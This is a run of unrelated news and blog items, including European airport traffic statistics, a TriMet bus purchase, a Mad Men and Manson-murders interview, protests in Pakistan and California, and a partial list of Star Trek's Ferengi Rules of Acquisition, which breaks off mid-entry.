Following in its wake is Iasi, with 131 per cent growth, and Bucharest’s second airport, Aurel Vlaicu, which saw a 122 per cent rise in passenger numbers last year. The Romanian trio spearheaded a surge in arrivals across the continent, according to new statistics released by ACI Europe, with European airports recording two billion passengers for the first time, a five per cent rise on 2015 and a figure that represents more than half of the total number of global fliers. The top 5 fastest growing airports Oradea, Romania - 488 per cent growth in 2016 Iasi, Romania - 131 per cent Bucharest BBU, Romania - 122 per cent Ostend, Belgium - 65 per cent Palanga, Lithuania - 60 per cent Of the continent’s larger airports - taking nothing away from Romania, Belgium and Lithuania - Dublin saw the greatest increase in passenger numbers, with its figure rising 11.5 per cent, followed by Barcelona (11.2 per cent) and Amsterdam (nine per cent). London Heathrow was the busiest airport of the year, according to ACI, with a one per cent growth taking its passenger number to 75.7 million. The top 5 busiest airports London Heathrow - 75.7m (one per cent growth) Paris Charles de Gaulle - 65.9m (0.3 per cent) Amsterdam - 63.6m (9.2 per cent) Frankfurt - 60.8m (-0.4 per cent) Istanbul - 60m (-2.1 per cent) ACI’s figures highlight how Turkey, plagued by instability, has suffered a decrease in arrivals, sending Istanbul’s Ataturk airport from third most busiest to fifth. Across the continent EU countries saw a 6.7 per cent rise in arrivals, while non-EU nations posted an average drop of 0.9, mainly due to falling traffic in Turkey. The country to register the largest increase for the year was Iceland, which boasted a 40 per cent rise in passenger numbers. The countries with the largest passenger growth Iceland - 40 per cent Romania - 24 per cent Ukraine - 23 per cent Bulgaria - 22 per cent Cyprus - 18 per cent How European countries grew their passenger numbers in 2016 Credit: ACI Europe Of Western Europe, Portugal registered the largest increase as holidaymakers sought alternatives to Turkey, Egypt and Tunisia. Its passenger numbers rose 14 per cent. The UK saw a six per cent rise, while Spain posted a 11 per cent rise and France just a three per cent rise. “Europe’s airports broke the two billion passengers mark last year - an absolute record,” said Olivier Jankovec, director general of ACI Europe. “While geopolitics and terrorism in particular played an increasing role in shaping the fortunes and misfortunes of many airports, the underlying story is one of continued growth and expansion - with passenger volumes growing in excess of five per cent for the third consecutive year.” Amsterdam Schiphol took third spot in the rankings Credit: Credit: frans lemmens / Alamy Stock Photo/frans lemmens / Alamy Stock Photo He added that Europe’s airports had welcomed an additional 300 million passengers since 2013, citing improving economic conditions, low oil prices and airline capacity expansions as reasons for the rise. ACI Europe’s survey of full 2016 traffic included 216 airports which, it said, accounted for 88 per cent of the continent’s traffic. Away from the likes of Heathrow, Amsterdam and Paris, was Arad International Airport in Western Romania, which welcomed just 375 passengers, according to ACI - a 96 per cent drop. The aforementioned Aurel Vlaicu in Bucharest had the second lowest passenger numbers, but its growth was 121.8 per cent, while Oradea welcomed just 41,723 travellers. The five smallest European airports Arad, Romania - 375 passengers Bucharest BBU, Romania - 4,898 Oradea, Romania - 41,723 Monaco, - 80,836 Mosjoen, Norway - 83,518 Looking ahead at 2017, Mr Jankovec predicted similar growth: “This current growth dynamic is likely to hold up in the coming months, possibly until early spring. “Short-term downside risks related to the price of oil - which is forecasted this year to be almost 30 per cent above its 2016 average - and airlines exerting capacity discipline. “Beyond that, our trading environment is becoming more unpredictable and prone to disruptions, due to mounting geopolitical risks. “These include the permanence of terrorism threats, increasing political instability, both within and outside Europe and Brexit.” The UN’s International Civil Aviation Organisation (ICAO) believes the “global air transport network” doubles in size every 15 years, and that it’s expected to do so again by 2030. Global passenger numbers, registered at 3.77 billion for 2016, have grown at a rapid rate since 2009, following a two-year, post-recession plateau. -The Albany Project: Now we get to see and hear "Shotgun" Randy Kuhl (R-Hair Club for Men) say on camera that he "firmly believes" that Democrats want the American People to suffer and to hurt." No, really. Here's the exact quote: I firmly believe the Democratic majority wants the American public to suffer and to hurt so that they can make some political gains at election time, and I think that's wrong. Excuse me, Randy? Did you really just say that? The tape doesn't lie, I guess. I have just about enough of this crap from GOP dweebs nationwide, but this addition to their 2008 Hall of Shame is simply beyond the pale. I understand that Randy is polling well behind progressive Eric Massa and that desperate times call for desperate measures and all, but this is ridiculous. Another day, another McCarthyite. The hate and vitriol pouring through this election is bone chilling to me. I'm trying to understand how we can ever go back to being an United States of America. Kuhl is polling behind his Democratic rival, Blue America candidate Eric Massa. (See the ad we ran in that district here) It will be a happy day to see a progressive not insane with hate representing the 29th District of NY. -WASHINGTON - Next time you go to toss that flushable wipe in the toilet, you might want to consider a request from your sewer utility: Don't. Sewer agencies across the country say the rapidly growing use of pre-moistened "personal wipes" - used most often by potty-training toddlers and people seeking what's advertised as a more "thorough" cleaning than toilet paper - are clogging pipes and jamming pumps. WASHINGTON - Next time you go to toss that flushable wipe in the toilet, you might want to consider a request from your sewer utility: Don't. Sewer agencies across the country say the rapidly growing use of pre-moistened "personal wipes" - used most often by potty-training toddlers and people seeking what's advertised as a more "thorough" cleaning than toilet paper - are clogging pipes and jamming pumps. Utilities struggling with aging infrastructure have wrestled for years with the problem of "ragging" - when baby wipes, dental floss, paper towels and other items entangle sewer pumps. The latest menace, officials say, is wipes and other products, including pop-off scrubbers on toilet-cleaning wands, that are marketed as "flushable." Even ever-thickening, super-soft toilet paper is worrisome because it takes longer to disintegrate, some say. "Just because you can flush it doesn't mean you should," said I.J. Hudson, a spokesman for the Washington Suburban Sanitary Commission, which handles sewage for 1.8 million Maryland residents. The result: Utility officials say crews needed for less-preventable sewer maintenance and repairs are being deployed instead to wipes patrol. The suburban Washington sewer agency has spent more than $1 million to install heavy-duty grinders to shred wipes and other debris before they reach pumps on the way to the treatment plant, Hudson said. Officials with the District of Columbia Water and Sewer Authority say that more than 500 man-hours have been devoted in the past 12 months to removing stuck wipes and repairing broken equipment. The wipes also contribute to blockages that cause sewage to overflow into streams and back up into basements. -Initial purchase of cleaner running buses could come in next few years TriMet may add a new, more environmentally friendly type of bus to its fleet that’s different from a hybrid – it would run off compressed natural gas (CNG). Next week, the TriMet Board will consider a resolution authorizing a multi-year bus purchase contract that includes the option to buy up to 120 40-foot CNG buses. The new contract is part of TriMet General Manager Neil McFarlane’s accelerated bus purchase program and would provide for future-year bus deliveries in 2015 through 2019. “TriMet has been exploring numerous green transit options and is currently analyzing the costs and benefits of adding CNG buses to the fleet,” said TriMet General Manager Neil McFarlane. “The option to buy CNG buses is part of TriMet’s ongoing effort to increase our sustainability and improve air quality throughout the region.” The CNG buses would join TriMet’s clean diesel buses that by the end of October will make up more than 20.5 percent of the existing bus fleet. The clean diesel buses have reduced TriMet’s emissions, both smog and smoke. CNG is cleaner than diesel, although modern clean diesel technology puts it close to CNG vehicles. Despite the higher initial purchase costs – the agency pays close to $420,000 for a diesel bus now, and a CNG bus would cost roughly $55,000 more – CNG buses offer the potential to save money in the long run. Natural gas is currently 30 percent less expensive than diesel. Lower and more stable fuel prices mean that their initial expense could be recovered within the first few years of operation. However, CNG buses have somewhat lower fuel economy (10-20%) and higher maintenance costs (10-15%) than diesel buses, which would offset some of the fuel cost savings. There are also other costs associated with the logistics and infrastructure of switching to CNG fuel. This will influence the project’s overall cost effectiveness which is currently being analyzed. Should TriMet decide to pursue the CNG bus technology it will require converting one of TriMet’s bus maintenance facilities to accommodate the CNG vehicles. TriMet’s Merlo garage is currently under consideration. CNG is kept under high pressure, so it will require implementing a new fueling system with associated safety and maintenance requirements in the shop. TriMet is considering a number of different options for how to fund this conversion. If we move forward with the CNG project, the TriMet Board will be asked to activate the option for purchasing the CNG buses. Bus purchases under the proposed contract will be funded from a combination of federal and state grants, available operating resources and bond proceeds. The funding mix for each bus order will vary and be part of the budget process for that year. Earlier this year, TriMet introduced four hybrid buses to the fleet and will be adding four super-hybrid (all electric-powered) buses in the next year. Bus innovations – keeping us green Burning less fuel Burning less fuel means fewer emissions and a more sustainable transit system. We are one of the most fuel-efficient transit providers in the country, thanks to our creative operators and mechanics who keep finding new ways to conserve fuel. TriMet is the nation’s first transit agency to test and operate buses cooled by a NASCAR-inspired electrified cooling system. Traditional systems draw up to 50 horsepower off the engine, draining power and consuming fuel. The electrified cooling system uses less engine power, resulting in approximately 5 percent better fuel economy. The system also significantly cuts maintenance time and costs and is safer to maintain. Additionally, a drivetrain computer in the engine compartment of each bus saves fuel and improves driving safety. It monitors the engine, transmission and braking system, and uses the data to adjust acceleration, braking, traction control and fuel injection. Using improved fuel Our buses use a cleaner burning biodiesel fuel blend and TriMet is the largest biodiesel user in Oregon. The blend, including the petroleum-based share of the fuel, meets new federal standards for ultra-low-sulfur diesel (ULSD). It reduces emissions, especially carbon dioxide, carbon monoxide, sulfur dioxide and smoke. Solar powered bus shelter lighting TriMet has installed Solar-powered lighting systems at bus stops to harness the sun’s energy, providing greater visibility and safety at dark bus stops. They reduce both the initial costs and the ongoing expense of providing power to shelters and are environmentally friendly. We have installed more than 200 such systems at well-used sheltered stops where direct power connections are impractical. Bus purchase background The agency delayed new bus purchases for a few years due to the recession. However, in 2012 McFarlane accelerated the bus replacement schedule to address TriMet’s aging bus fleet that had become more expensive to maintain and less reliable. Some buses in the fleet are more than 18 years old. In 2012 the agency purchased 51 diesel and 4 new hybrid buses. This year the agency purchased 70 40-foot diesel buses, the largest order in the accelerated bus purchase. During the next three years, TriMet will add another 184 buses. By 2016, the average age of our fleet will be the industry-recommended standard of eight years. By 2017, TriMet will have replaced all of the remaining high-floor buses (those with steps at the door) in the fleet. -Photo: AMC During season six of Mad Men last year, theories linking Megan Draper to the infamous Manson murders spread quickly after an episode in which Don’s wife wears a star T-shirt identical to one Sharon Tate was photographed in for a 1967 Esquire spread. Along with Megan’s short-lived pregnancy, the image of Peggy stabbing Abe, the Draper children being held hostage by an intruder, and later episodic references to Roman Polanski’s Rosemary’s Baby, obsessive viewers saw that wardrobe choice as evidence that Megan was totally going to die — something creator Matthew Weiner did his best to quash, while also leaving open the possibility of her demise in the show’s final season. The action has moved forward in time to late January 1969, roughly six months ahead of the date of the grisly murders that capped off the era of peace and love, and Megan Draper is now living all alone in an insecure home overlooking Hollywood. Given those similarities and a few other loose parallels we’ve noticed (e.g., Megan and Don hear a coyote howling outside her house; Tate’s last meal was at a restaurant named El Coyote Cafe), we thought we’d circle back and see if that theory about the Manson murders will figure prominently into season seven, after all. To help us in our quest, Vulture spoke with Katherine Ramsland, professor of forensic psychology at DeSales University and the author of The Human Predator: A Historical Chronicle of Serial Murder and Forensic Investigation. Topics discussed: Megan’s continued Tate-like wardrobe choices, Folgers coffee, and whether a production logo involving tarot cards means anything. I combed over the episode to look for anything that might possibly reference the Manson murders. Megan’s still dressing like Sharon Tate, for starters. That dress, absolutely. That was the first thing I thought. And whatever canyon Megan lives in — Don makes that reference to Megan that she’s isolated, that he’s disturbed by that, and that he’s not sure that she’s safe there. I’m not sure they’re setting her up to be murdered, but she certainly might hear the shots in the night. And then there’s Megan’s career. The pilot she was auditioning for, Bracken’s World, was a real show about starlets trying to make it in Hollywood. You could link that back to Valley of the Dolls, which Sharon Tate was in. And that was sort of that lifestyle. Though Megan hasn’t started taking drugs yet. [Editor’s note: Bracken’s World was created by Dorothy Kingsley, who co-wrote the Valley of the Dolls screenplay. Eerie!] Okay, here’s the big one: Folgers coffee. Peggy and Ted have this big conversation about coffee while Peggy is holding a Folgers can, and then Stan walks in and says something like, “That was not about coffee.” And Abigail Folger was one of Charles Manson’s victims. She was the heiress to the Folgers coffee fortune and was a friend of Roman Polanski, so she was staying at the house. I think that’s probably a good catch on your part. Because why would they have that coffee room debate? Last season, the show made pointed references to Polanski’s Rosemary’s Baby: Sally was reading the novel, four of the characters saw a screening of the film, and Peggy and Ted pitched an ad campaign based on it. I guess that ties into the general theme of innocence being corrupted in the late 1960s? Not just corrupted — invaded. And also, advertising is about mind control, and Rosemary’s Baby was all about mind control. If only someone was living at the Dakota! [Laughs.] But advertising, everything they do is about manipulating people through subliminal imagery, and getting them to behave in a certain way. At the beginning of Mad Men, the characters were approaching the ad business like, “We’re doing good things for people, bringing these products into their lives.” But now it’s getting darker and darker, as they realize, this is really just manipulating people and making them do what we want them to do. You used the word invaded. There was also that strange woman who invaded Don’s home last year and held Sally hostage. And Peggy stabbed Abe because she thought he was a burglar. Yes, you have a lot of imagery of invasion on Mad Men. There’s a line that Betty had last year, when Sally was suspended from school; she told Don, “The good isn’t beating out the bad.” For the first time she realizes, no matter how hard we try, the bad is winning. And I thought, Oh, is that ever a Manson-esque reference. Because that was the feeling after Manson: How do we protect ourselves against the deranged people who will invade our homes and take our lives? Where’s the protection? It was only when Manson and his group did the home invasions that the whole hippie thing became very dark. And that was right around Woodstock time, which was supposedly about all this peace and love and everybody getting it on. And then Manson happened, and then the concert at Altamont. So really, there’s this whole sense after the Beatles landed, from the mid-’60s on, that things are getting unsafe. And you see that in all the relationships on Mad Men unraveling, that everybody is trying to connect and the connections aren’t working. And that was really the feeling of, how do we put this back together? And nobody has an answer. You’ve written a lot about the psychology of psychopaths. One of the traits is living a double life — but that applies to everyone on Mad Men! There are all kinds of themes about doubles. Megan played twins on the soap opera; Don is referred to as bicoastal constantly. And so he and Megan could be doubles for Roman Polanski and Sharon Tate, because Polanski was much older than her, he was cheating on her, there she was trying to be an actress and to be who she wanted to be, but at the same time she’s also trying to be the good wife to this philanderer, essentially. So you have kind of the doubles imagery between the two couples. Does anyone on Mad Men have the potential to be a psychopath? Is there a character who sets off alarm bells for you? Oh, Bob Benson. [Laughs.] He’s such an odd duck in terms of his obsequiousness, and his inserting himself into everything — kind of being under the radar, but always present, you know? And Pete Campbell is the one who figured him out — of all people to spot him. Pete Campbell, with all his deviances and deceptions! I used to think Pete had the potential to be violent, but now I think he’s just sad. He’s so sad and pathetic. And even with his whole thing in California, there’s this kind of nervous quality about him, and I don’t think it’s just because he’s around Don. I think he’s a misfit. And in this episode, you saw everybody kind of realizing that the lives they’ve been leading have brought them into paralysis. Like that image of Don at the end where he’s sitting outside in the cold, alone; I think he and then Peggy and Pete and Roger, they’re all butting up against their own lives all of a sudden, and finding that what had been working and moving them along has brought them to a standstill, and they don’t really know how to make this work. And that was definitely the feeling after Manson — and again, Manson didn’t happen until August, so they’re a ways away from that — but this feeling of, how did we arrive at the juncture? What we’ve always thought works, doesn’t. And that is, in essence, the feeling after Manson. Things don’t work. Which is different than, say, Betty shaking out all her trash at the picnic in season one and leaving it in the park. The attitude in the early sixties was that somebody would always come around and make it all better. There’s one other thing that I saw, right as the show was ending — and maybe this is on every episode, but it’s the first time I noticed it: There was a tarot card. Oh, yeah, it’s one of the production company logos. Why is that important? Okay, because there was the tarot card massacre in 1970 in California, during the time when Manson’s trial was going on. So when I saw the tarot card, I went, whoa! But no, I think they would have used a different tarot card, because that one looks like The Sun — not dark enough. -Rand Paul. (AP Photo) Raising government spending beyond the levels set by sequestration would be a nonstarter in a deal to reopen the government and raise the debt ceiling, three Republican senators said on Sunday. "If you break the spending caps, you're not going to get any Republicans in the Senate," Sen. Lindsey Graham, (R-S.C.) said on ABC News's "This Week." When asked whether there were any terms he couldn't accept in a compromise, Sen. Rand Paul (R-Ky.) also cited spending increases. "I think the one thing I cannot accept and the one thing that I think is really not even a compromise at all is the Democrats want to exceed the sequester caps,” Paul said on CNN's "State of the Union." "It's funny they're all about Obamacare being the law of the land, but so is the sequester." Sen. Bob Corker (R-Tenn.) also said on "Fox News Sunday" that his party would be unlikely to accept any deal that included increasing spending beyond the levels set under sequestration, a slate of across-the-board reductions in spending intended to be so bad that both parties would be forced to compromise on a budget "grand bargain." Such a deal was never brokered, so sequestration went into effect earlier this year. -We recently collaborated with Arizona Wilderness Brewing Company to brew Transmission, a Citrus Saison. The beer was packaged in 750mL bottles and will be released September 29th in our brewery Tasting Room. After meeting the amazing people from Arizona Wilderness, we quickly came to find that our two breweries both value local community and frequently source ingredients from local farms whenever possible. Transmission was brewed with honey from Booger Hill Bee Company in Danielsville, GA, as well as Lisbon Lemons and Arizona Sweet Oranges from The Farm at Agritopia in Gilbert, AZ. The beer contains both zest and juice from the fruit. “We both really aligned on our philosophies and values in making beer and working with our local communities,” says Blake Tyers, our Wood Cellar and Specialty Brand Manager. “Front to back we figured out how we could express citrus in a Saison using local ingredients.” Transmission was bottle conditioned for four months with our house‐mixed culture of yeast and bacteria and comes in at 5.6% abv. The tart and funky beer was brewed with Mandarina Bavaria and Lemondrop hops in order to complement the citrus flavor and aroma. “Transmission is the result of two breweries who have the same vision in mind: to represent craft beer on a local level, using artists’ passion and to be completely dedicated to the craft,” said Arizona Wilderness Founder Jon Buford. “Oh, and to have a ton of fun while doing it.” Athens illustrator and Creature Comforts tour staff member, Melissa Merrill, designed the label artwork. Merrill derived the watercolor medium from the fruit used in brewing the beer for the original artwork. The name of the beer is a nod to a bus with a broken transmission the two breweries shared on the way to a beer dinner while Arizona Wilderness was visiting us here in Athens, GA, which made for a very fun and memorable evening! -The Golden State Warriors faced a young Minnesota Timberwolves squad for the second night in a row in the 2017 Las Vegas Summer League tournament. After a dramatic sudden death overtime finish to Tuesday night’s game that sent the Warriors to an 0-3 record, tonight’s contest ended very differently with the Warriors winning 77-69 (in regulation). Patrick McCaw continued to come up big as a scorer with 26 points and 9 assists. Jordan Bell had a summer league record 16 rebounds. Warriors beat the Wolves in summer league -Pat McCaw: 26 pts, 10/16 FG, 5 asts -Jordan Bell: 16 rebounds, 3 blocks — Anthony Slater (@anthonyVslater) July 13, 2017 But the biggest — or at least most surprising — moment of the night was this play by Bryce Alford. With the win, the Warriors will advance in the tournament to face the Boston Celtics, who are the sixth seed. It will be the Warriors' fourth game in four nights, which is certainly a grueling path through summer league. To find out more information about the tournament structure, please click here. -FAISALABAD: A large number of people from villages around Khurrianwala town vented their anger against power outages on Tuesday and attacked a grid station and offices of the Faisalabad Electric Supply Company (Fesco). They blocked traffic on the Sheikhupura-Faisalabad road for about 10 hours and pelted police and vehicles with stones, causing injuries to four constables. Police chased the protesters, entered a number of houses by scaling the walls or breaking open the gates and thrashed anyone they found there. Policemen are reported to have abused and dragged women when they objected to their conduct. A number of women and children who had not joined the protests were also mistreated. More than 10 people were arrested from the houses. The industrial city of Faisalabad saw a number of violent protests over outages during the PPP government. At that time, Punjab Chief Minister Shahbaz Sharif had backed their protests, but asked them not to damage public property. PML-N chief Nawaz Sharif had also supported the agitation by industrial workers. Protests were also reported on Tuesday from Dera Ghazi Khan, Sheikhupura and Bahawalpur, but they were largely peaceful. Hundreds of people started gathering in the morning and blocked the Khurrianwala Road. They raised slogans against Fesco and an independent power producer supplying electricity to their villages. The protesters attacked the Fesco sub-divisional office in Bundala, ransacked the building and put it on fire. Police did not intervene because of having been outnumbered by the protesters. They also attacked a grid station near Ada Johal and tried to enter it, but were stopped by police. A mill where police had been deployed also came under attack. Two ambulances remained stuck in the traffic for some time but were later allowed by agitators to proceed. Police used batons and teargas to disperse the protesters but they refused to leave till restoration of power supply. Police chased the protesters in streets and bazaar and also entered some houses to arrest them. The protesters also hurled stones at Faisalabad DCO Najam Shah and CPO Raja Riffat Mukhtar when they tried to negotiate with them. They said both the officers were unable to resolve the issue, adding that the district coordination officer had assured their delegation a couple of days ago that the problem would be solved, but nothing had been done so far. Similar protests had been held on June 3 when demonstrators blocked the Khurrianwala Road for over five hours, damaged some vehicles and pelted police and some buildings with stones. They raised slogans against 10 hours of loadshedding schedule planned by Fesco. Police fired into the air to disperse the protesters and pursued them to the Ada Johal area. The road was later cleared. Our Sheikhupura correspondent adds: A large number of factory workers and residents of Ferozewattwan and adjoining localities gathered on the Faisalabad Road and blocked traffic for about three hours in protest against 20 hours of power outages. KASUR: A demonstration was held by people of Basti Kambovan against up to 20 hours of loadshedding. -MURRIETA — Demonstrators opposed to illegal immigration stood their ground again at the Murrieta Border Patrol station on Monday, where U.S. Border Patrol had been scheduled to transfer a third round of buses, with approximately 140 illegal aliens aboard in total, transferred from overcrowded Texas detention facilities. For a third time, the buses were rerouted to the San Ysidro, California Border Patrol station, near the U.S.-Mexico border, for processing. The demonstrators gathered in areas to the north and south of the Murrieta station after law enforcement blocked off the road near the station itself. Many told Breitbart News they considered their stand a success, since buses scheduled for Murrieta are avoiding it as long as demonstrators remain. The anti-illegal immigration protests Monday brought out new, first-time demonstrators and onlookers from many different backgrounds–from young enlisted Marines to legal immigrants from Germany, Mexico, and Central America. Karen Siegemund of Rage Against the Media, comedian and author Evan Sayet, and radio host Kender Macgowan made it out as well. Despite the news of buses being re-routed for the second time since a standoff with three buses in Murrieta July 1, anti-illegal immigration demonstrators plan to continue to monitor and be at the ready should any transfers of illegal aliens to the Murrieta station resume. The general sentiment is that the moment that demonstrators leave, transfers to the station will continue. -Statements mark first time Aaron Persky has addressed effort to unseat him over his light sentencing of Brock Turner, who was convicted of sexual assault The judge in the Stanford sexual assault case has launched a campaign to fight the high-profile effort to unseat him, declaring that he has a “reputation for being fair to both sides” in his first public comments on the controversy. Judge Aaron Persky, who received widespread backlash for his sentencing of former Stanford swimmer Brock Turner, is campaigning to stay in office and has launched the website RetainJudgePersky.com where he states that he is a strong advocate for “judicial independence”. “I took an oath to uphold the Constitution, not to appease politicians or ideologues. When your own rights and property are at stake, you want the judge to make a fair and lawful decision, free from political influence,” he wrote on the site. The northern California judge’s statements mark the first time he has directly addressed the well-funded initiative to recall him from office over his light sentencing of Turner, who was convicted of multiple felony counts of sexual assault. Persky is also soliciting donations on the site. Judge in Stanford sexual assault case faces recall effort over light sentence Read more Persky sentenced the 20-year-old athlete to six months in county jail, which is lighter than the minimum of two years in state prison prescribed by law. Turner was caught sexually assaulting an unconscious woman by a dumpster outside an on-campus fraternity party, but throughout the trial, he argued that the encounter was consensual. Turner, who went to jail in June, is scheduled to be released on Friday after serving only half of his sentence. In California, inmates with good behavior are often released early. The case made headlines across the globe after the victim released a powerful impact statement detailing the trauma of the trial. Michele Landis Dauber, a Stanford law professor and family friend of the victim, subsequently organized a formal initiative to remove Persky from office, arguing that the Santa Clara County judge failed to treat assault as a serious crime. Prosecutors later removed Persky from a new sexual assault case, saying they lacked confidence in him. Last week, the judge took the unusual step of removing himself from all criminal cases and transferring to civil court, but Dauber said the recall campaign would continue. The judge’s opponents have argued that he has repeatedly been too lenient towards men convicted of sex crimes and violence against women, including when he presided over a sexual assault case in civil court. Facebook Twitter Pinterest Activists hold a rally before delivering more than a million signatures to the California commission on judicial performance calling for the removal of Judge Aaron Persky from the bench. Photograph: Eric Risberg/AP But Persky’s supporters, including public defenders, former judges and law school professors, have argued that the recall is misguided and that judges should not be removed from office for a single decision. His defenders further fear that the push for harsher sentencing could lead to more severe punishments for low-income defendants and people of color disproportionately caught up in the criminal justice system. On Monday, lawmakers approved legislation inspired by the Turner trial that seeks to make prison a mandatory punishment in cases of sexual assault involving unconscious victims. On his website, Persky notes that he has served in public office for nearly 20 years, first as a criminal prosecutor. “I prosecuted hate crimes and sexually violent predators,” he said. “As a judge, I have heard thousands of cases. I have a reputation for being fair to both sides.” Persky, who has served as a judge for the past 12 years, noted that he graduated Phi Beta Kappa from Stanford and that he is married with two children. The site also features links about judicial independence, including one letter from retired judges defending Persky, which says judges may be recalled for illegal or unethical conduct, but that “the essence of judicial independence is that judges must be able to make decisions without fear of political repercussions”. Dauber said on Tuesday said Persky’s pattern of unjust sentencing warranted the recall. “Judicial independence is really important … but in order to be exercised freely and appropriately, it has to be exercised without bias.” Persky has raised $3,600 in contributions for his campaign, according to the Mercury News. Dauber said the recall campaign has raised more than $250,000 in pledged funds and cash. -Notre Dame and Under Armour announced Tuesday that they have agreed to the most valuable shoe and apparel contract in college sports history. The private school did not reveal the value of the 10-year deal, which will begin when its contract with adidas expires at the end of June, but sources told ESPN.com that the value of the deal, in cash and merchandise combined, is worth about $90 million. That would make the deal worth more than the $82 million adidas is paying in cash and product to Michigan over 10 years. Notre Dame and Under Armour have agreed to a 10-year deal worth $90 million in cash and merchandise combined, according to sources, that makes it the richest shoe and apparel deal in college sports. AP Photo/Joe Raymond The deal could eventually be worth even more to the Fighting Irish, as Notre Dame athletic director Jack Swarbrick noted that it allows the school to take some of the cash in company stock. As of 12:30 p.m. ET Tuesday, shares of Under Armour were up more than 3 percent on the day and up more than 80 percent over last year. Under Armour CEO Kevin Plank said he first set foot on the Notre Dame campus in 1997, coincidentally the year that adidas' first deal with the school began. That year, Plank said Under Armour's revenues were $110,000. In 2013, Under Armour projects sales of $2.25 billion. "We love the company we are partnering with, and we can't wait to grow with them," Swarbrick said. "We don't believe we're partnering with a $2 billion company. We're partnering with a $20 billion company." Swarbrick said that while fans' focus might be on the uniforms, this deal is as much about working with Under Armour to share information that will improve technology. "We're in a very competitive business where the margins between a 12-win season and an eight-win season are so small," he said. "Mining the data is one of the next frontiers, and given that this deal is 10 years, we better be focused on those things." Under Armour currently has schoolwide deals with 12 other schools: Auburn, Hawaii, Maryland, Texas Tech, Boston College, Utah, Northwestern, St. John's, Navy, Colorado State, South Florida and South Carolina. Despite a history of pushing the envelope, Plank said he understands what Notre Dame means and says his company will treat the school as a unique entity. "Texas Tech is different from Maryland is different from Notre Dame," Plank said. "We don't have to invent any new history. We don't have to tell any new stories. Notre Dame is quite simply Notre Dame." In a statement that noted its 17-year partnership would come to an end after this school year, adidas said, "As with every business decision, we weigh our investment against the value to our brand." One point in the talks that was not negotiable was Under Armour getting any signage in Notre Dame Stadium. "It's just one of those things that is just so central to our identity," Swarbrick said. "We want to be Augusta-like in that way, and that's why after we discussed it one time it was never brought up in conversation again. "Instead, I agreed to let them put their logo on the athletic director." -As the world braced for a possible core meltdown in Japan's Fukushima Daiichi Nuclear Power Station, the U.S. Navy kept its helicopters flying to provide earthquake and tsunami relief. The Navy's Pacific-based 7th Fleet announced on its Facebook page that the aircraft carrier in position, the USS Ronald Reagan, had been moved slightly away from the Fukushima Daiichi plant after finding low-level radioactive contamination "in the air and on its aircraft operating in the area." But the Navy said that operations to provide disaster relief had already resumed north of Sendai. Most important to those relief efforts: helicopters. As depicted in the video above, released by the Navy on Sunday, Navy helicopters like the Reagan's SH-60 Seahawks are delivering "water, blankets and food" and scouring the stricken areas for survivors. Ten operations already launched today, despite the repositioning. And it was the copter crews that flew into the "low-level" radiation areas. According to The New York Times, the helicopters were 60 miles from the plant, "suggesting widening environmental contamination." The contamination may be spreading. But so is the Navy's assistance role in the relief effort. The 7th Fleet said it expects the USS Tortuga to arrive on Tuesday at the eastern coast of Hokkaido, carrying two heavy-lift MH-53 helicopters. It'll pick up Japanese troops and vehicles and send them on to Aomori, in northern Honshu. Four more ships are expected to arrive starting on Wednesday: the Blue Ridge, the Essex, the Harpers Ferry and the Germantown. Retired Capt. Jan van Tol, who commanded the Essex during the 2005 tsunami relief missions in Indonesia, explained that heavy-lift helicopters are needed "given the likely damage to coastal transportation infrastructure and the rugged Japanese terrain." He told Politico, "Essex is on her way up from Malaysia (means a week away...), and other big decks will no doubt be assigned. They're the real assets for this given their heavy helo lift capacity, though the carriers will no doubt get the headlines with their SH-60s. Remember that operating the heavy helos is not merely a matter of the deck space (of which the CVNs obviously have a lot more), but also of the aircraft maintenance capability needed to keep the helos operating (and I expect they'll be worked very heavily)." The enormous human and environmental damage of Friday's quake and tsunami have yet to be fully tallied. But as of Monday, the Japan Meteorological Agency registered at least three aftershocks greater than magnitude 7.0 and some 44 aftershocks greater than 6.0. See Also:- Haiti Relief’s Secret Weapon: Google Earth -What collection of Star Trek resources would be complete without a list of the Rules of Acquisition? Found in this list are the 85 canon and official rules, plus a handful of other quotes that could have been rules. (This list does not include the complete reference including the 47 commentaries, 900 major and minor rulings, and 10,000 considered opinions, which is published by the Ferengi Commerce Authority.) The Official Seal of the Ferengi Alliance Rules of Acquisition Official Rules Once you have their money, you never give it back. (“The Nagus” [DS9]) Never pay more for an acquisition than you have to. (“The Maquis, Part II” [DS9]) Never allow family to stand in the way of opportunity. (“The Nagus” [DS9], “Acquisition” [ENT]) Keep your ears open. (“In the Hands of the Prophets” [DS9]) Small print leads to large risk. (Legends of the Ferengi) Opportunity plus instinct equals profit. (“The Storyteller” [DS9]) Greed is eternal. (“Prophet Motive” [DS9], “False Profits” [VGR]) Anything worth doing is worth doing for money. (Legends of the Ferengi) A deal is a deal... until a better one comes along. (“Melora” [DS9], Legends of the Ferengi) A contract is a contract is a contract... but only between Ferengi. (“Body Parts” [DS9]) A Ferengi without profit is no Ferengi at all. (“Heart of Stone” [DS9]) Satisfaction is not guaranteed. (“Meridian” [DS9], Legends of the Ferengi) Never place friendship above profit. (“Rules of Acquisition” [DS9]) A wise man can hear profit in the wind. (“Rules of Acquisition” [DS9], “False Profits” [VGR]) Nothing is more important than your health... except for your money. (“Acquisition” [ENT]) There is nothing more dangerous than an honest businessman. (Legends of the Ferengi) Whisper your way to success. (“Treachery, Faith, and the Great River” [DS9]) Never insult a Ferengi’s mother. Insult something he cares about instead. (“The Siege” [DS9], Legends of the Ferengi) It never hurts to suck up to the boss. (“Rules of Acquisition” [DS9]) War is good for business. (“Destiny” [DS9], “The Siege of AR-558” [DS9]) Peace is good for business. (“Destiny” [DS9], “The Perfect Mate” [TNG]) She can touch your lobes, but never your latinum. (Legends of the Ferengi) Profit is its own reward. (Legends of the Ferengi) Never confuse wisdom with luck. (Legends of the Ferengi) Don’t trust a man wearing a better suit than yours. (“Rivals” [DS9]) The bigger the smile, the sharper the knife. (“Rules of Acquisition” [DS9]) Never ask when you can take. (Legends of the Ferengi, “Babel” [DS9]) Good customers are as rare as latinum. Treasure them. (“Armageddon Game” [DS9]) There is no substitute for success. (Legends of the Ferengi) Free advice is seldom cheap. (“Rules of Acquisition” [DS9]) Keep your lies consistent. (Legends of the Ferengi) The riskier the road, the greater the profit. (“Rules of Acquisition” [DS9], “Little Green Men” [DS9], “Business as Usual” [DS9]) Win or lose, there’s always Huyperian beetle snuff. (Legends of the Ferengi) Knowledge equals profit. (“Inside Man” [VGR]) Home is where the heart is, but the stars are made of latinum. (“Civil Defense” [DS9]) Every once in a while, declare peace. It confuses the hell out of your enemies. (“The Homecoming” [DS9]) Beware of the 